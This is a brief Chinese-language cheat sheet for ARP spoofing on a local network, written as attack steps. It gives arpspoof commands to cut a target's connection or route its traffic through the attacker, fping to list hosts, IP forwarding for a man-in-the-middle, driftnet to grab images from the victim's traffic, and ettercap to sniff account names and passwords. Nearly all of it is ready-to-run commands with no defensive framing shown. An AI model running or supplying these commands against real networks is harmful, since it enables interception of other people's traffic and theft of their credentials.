斷網攻擊原理:目標IP的流量經過我的網卡
主要參數
arpspoof -i 網卡 -t 目標IP 網關
arpspoof -i eth0 -t 192.168.10.21 192.168.10.1
查看局域網中IP
fping -asg 192.168.10.0/24
欺騙攻擊原理:目標IP的流量經過我的網卡,從網關出去
操作步驟:
echo 1 > /proc/sys/net/ipv4/ip_forward //echo寫命令沒有回顯
arpspoof -t 192.168.10.21 192.168.10.1 -i eth0 //開啟欺騙
場景應用:
ARP欺騙成功,driftnet 獲取本機網卡的圖片
driftnet -i eth0
ettercap -Tq -i eth0進行賬號密碼嗅探
-Tq 啟動文本模式、q安靜模式